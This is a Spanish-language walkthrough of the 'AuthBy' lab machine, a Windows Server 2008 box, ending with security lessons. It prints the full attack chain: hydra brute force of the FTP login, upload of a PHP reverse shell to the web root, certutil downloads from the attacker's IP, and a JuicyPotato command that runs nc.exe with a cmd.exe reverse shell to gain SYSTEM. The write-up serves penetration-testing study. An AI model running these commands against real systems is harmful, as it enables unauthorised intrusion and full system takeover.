AuthBy
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. AuthBy es un WAMP sobre Windows Server 2008. El FTP (zFTPServer) permite acceso anónimo y expone el directorio de cuentas (FTP anónimo); unhydrasacaadmin/admin(fuerza bruta). Esa cuenta FTP está sincronizada con el web root de Apache (puerto 242), así que subimos una webshell PHP y la ejecutamos comoapache. El usuario tiene SeImpersonatePrivilege y el SO es de 32 bits, así que JuicyPotato x86 nos da SYSTEM (SeImpersonate + Potato).
Reconocimiento#
Escaneo inicial#
El TTL de respuesta es 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.247.4664 bytes from 192.168.247.46: icmp_seq=1 ttl=125 time=29.5 ms
El barrido encuentra FTP, un HTTP en un puerto atípico, el panel de administración de zFTPServer y RDP:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.247.46PORT STATE SERVICE 21/tcp open ftp 242/tcp open http 3145/tcp open zftp-admin 3389/tcp open ms-wbt-server
nmap -p21,242,3145,3389 -sCV 192.168.247.46 -oN targetedScanPORT STATE SERVICE VERSION 21/tcp open ftp zFTPServer 6.0 build 2011-10-17 | ftp-anon: Anonymous FTP login allowed (FTP code 230) 242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8) |_http-title: 401 Authorization Required 3145/tcp open zftp-admin zFTPServer admin 3389/tcp open ms-wbt-server Microsoft Terminal Service | rdp-ntlm-info: |_ NetBIOS_Computer_Name: LIVDA
El HTTP del 242 responde 401 con Basic Auth (realm=Qui e nuce nuculeum esse volt, frangit nucem!): hay una zona protegida.
FTP - TCP 21#
El acceso anónimo está permitido (FTP anónimo). Recorriendo el árbol aparece un directorio accounts con un fichero de cuenta por usuario:
ftp 192.168.247.46 # login: anonymousftp> cd accounts ftp> dir dr-xr-xr-x 1 root root 512 Jan 25 06:01 backup ---------- 1 root root 764 Jan 25 06:01 acc[Offsec].uac ---------- 1 root root 1034 Feb 06 00:49 acc[anonymous].uac ---------- 1 root root 928 Feb 06 00:53 acc[admin].uac
Los nombres acc[Offsec].uac y acc[admin].uac confirman dos usuarios del servidor FTP: Offsec y admin.
Explotación#
Fuerza bruta del FTP#
Con admin como usuario válido, lanzamos hydra contra el FTP y cae con una contraseña trivial (fuerza bruta):
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.247.46 -I -t 64[21][ftp] host: 192.168.247.46 login: admin password: admin
Web root escribible vía FTP#
La cuenta admin del FTP está sincronizada con el web root de Apache. Al listar su raíz vemos los ficheros del sitio protegido, incluidos .htaccess y .htpasswd:
ftp> dir
-r--r--r-- 1 root root 76 Nov 08 2011 index.php
-r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
-r--r--r-- 1 root root 161 Nov 08 2011 .htaccessDescargamos los tres (mget *). El .htpasswd guarda el hash de la Basic Auth del 242, que se craquea a la pareja offsec/elite. Y, sobre todo, podemos escribir en ese directorio, que es el web root: si subimos un .php, Apache lo ejecutará. Subimos una reverse shell PHP y la invocamos con las credenciales de la zona protegida:
El payload sale de revshells.com, poniendo nuestra IP y el puerto 3145, y eligiendo la variante PHP Ivan Sincek, que es la que funciona tanto en Linux como en Windows (la clásica de pentestmonkey depende de /bin/sh, y aquí el objetivo es un Server 2008):
IP 192.168.45.204 Port 3145
PHP Ivan Sincek
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
Shell: cmd Encoding: NoneEse código se guarda como rev.php y se sube por el FTP:
ftp> put rev.phpCon Penelope a la escucha en el 3145 (el puerto fijado en rev.php), la solicitamos:
penelope
(Penelope)> listeners add -p 3145curl -u offsec:elite "http://192.168.247.46:242/rev.php"[+] Got reverse shell from LIVDA~192.168.247.46-Microsoft_Windows_Server_2008_Standard_-X86-based_PC 😎 Assigned SessionID <1> (Penelope)> sessions 1 [+] Added readline support ... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D C:\wampinpache\Apache2.2.21>whoami livdapache
La shell corre como apache.
Local#
type local.txt && whoami && ipconfig && hostname60f19cf2953fb9bbf6cc787bb2ad2c8f livda\apache Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d001:1b57:e6ce:522f%12 IPv4 Address. . . . . . . . . . . : 192.168.247.46 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.247.254 Tunnel adapter Local Area Connection*: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter Local Area Connection* 9: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : LIVDA
Escalada de privilegios#
SeImpersonatePrivilege en x86#
Comprobamos los privilegios del token y la versión del sistema:
whoami /privSeImpersonatePrivilege Impersonate a client after authentication Enabled
systeminfo | findstr /B /C:"OS Name" /C:"System Type"OS Name: Microsoftr Windows Serverr 2008 Standard System Type: X86-based PC
SeImpersonatePrivilege permite suplantar el token de un cliente que se conecte a nosotros; combinado con un servicio COM privilegiado, un ataque "Potato" nos entrega SYSTEM (SeImpersonate + Potato). Como el sistema es de 32 bits (Server 2008), el JuicyPotato original (repo) no sirve tal cual: solo publica binario x64. La herramienta adecuada es su port a x86 (jp32.exe).
Con nc a la escucha en el 4646 (el puerto del argumento -a de jp32):
rlwrap nc -nlvp 4646listening on [any] 4646 ...
Ambos binarios se preparan en el atacante: Juicy.Potato.x86.exe de las releases del port x86 (repo), renombrado a jp32.exe por comodidad, y el nc.exe que viene dentro del zip de netcat para Windows. Se sirven por HTTP:
wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe &>/dev/null
mv Juicy.Potato.x86.exe jp32.exe
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip &>/dev/nullLos dos wget van con &>/dev/null porque su barra de progreso no aporta nada. El zip de netcat trae el código fuente entero y dos binarios; el que interesa es nc.exe:
unzip netcat-win32-1.12.zipArchive: netcat-win32-1.12.zip replace doexec.c? [y]es, [n]o, [A]ll, [N]one, [r]ename: A inflating: doexec.c inflating: getopt.c inflating: netcat.c inflating: generic.h inflating: getopt.h inflating: hobbit.txt inflating: license.txt inflating: readme.txt inflating: Makefile inflating: nc.exe inflating: nc64.exe
Y se sirve el directorio:
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde la víctima los descargamos con certutil y disparamos con un CLSID válido:
certutil.exe -f -urlcache -split http://192.168.45.204/jp32.exe jp32.exe certutil.exe -f -urlcache -split http://192.168.45.204/nc.exe nc.exe .\jp32.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 192.168.45.204 4646" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"C:\Windows\Temp\privesc>certutil.exe -f -urlcache -split http://192.168.45.204/jp32.exe jp32.exe **** Online **** CertUtil: -URLCache command completed successfully. C:\Windows\Temp\privesc>certutil.exe -f -urlcache -split http://192.168.45.204/nc.exe nc.exe **** Online **** CertUtil: -URLCache command completed successfully. C:\Windows\Temp\privesc>.\jp32.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 192.168.45.204 4646" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337 .... [+] authresult 0 {9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Y en el listener que dejamos abierto entra la shell, ya como nt authority\system:
connect to [192.168.45.204] from (UNKNOWN) [192.168.247.46] 49201
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\systemProof#
type proof.txt && whoami && ipconfig && hostname5cbb9d032e907e6c97878dddefc1b545 nt authority\system Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d001:1b57:e6ce:522f%12 IPv4 Address. . . . . . . . . . . : 192.168.247.46 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.247.254 Tunnel adapter Local Area Connection*: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter Local Area Connection* 9: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : LIVDA
Cadena de ataque#
FTP (21) -- zFTPServer, acceso anónimo -> accounts (usuarios Offsec, admin)
│ hydra -> admin/admin
│ cuenta FTP sincronizada con el web root de Apache (242)
│ subir rev.php -> curl -u offsec:elite -> shell
▼
apache (local.txt) [SeImpersonatePrivilege, x86]
│ JuicyPotato x86 (jp32.exe) + CLSID -> nc.exe
▼
nt authority\system (proof.txt)Lecciones aprendidas#
- El FTP anónimo lo enseña todo. Aquí el directorio
accountsreveló los nombres de usuario del propio servidor, y con un nombre válido la fuerza bruta se vuelve dirigida. Nunca dejes listable la configuración interna del servicio. admin/adminno es una contraseña. Un hydra con rockyou la saca en segundos. Las cuentas administrativas necesitan contraseñas fuertes y, mejor, MFA.- FTP sincronizado con el web root = subida de webshell. Poder escribir un
.phpen el directorio que sirve Apache es RCE directo. Separar las rutas de escritura FTP del document root habría cortado la cadena. - SeImpersonate en x86 sigue siendo SYSTEM. JuicyPotato en su variante de 32 bits abusa igual del privilegio en sistemas antiguos como Server 2008. Ese privilegio no debería concederse a la cuenta de un servicio web expuesto.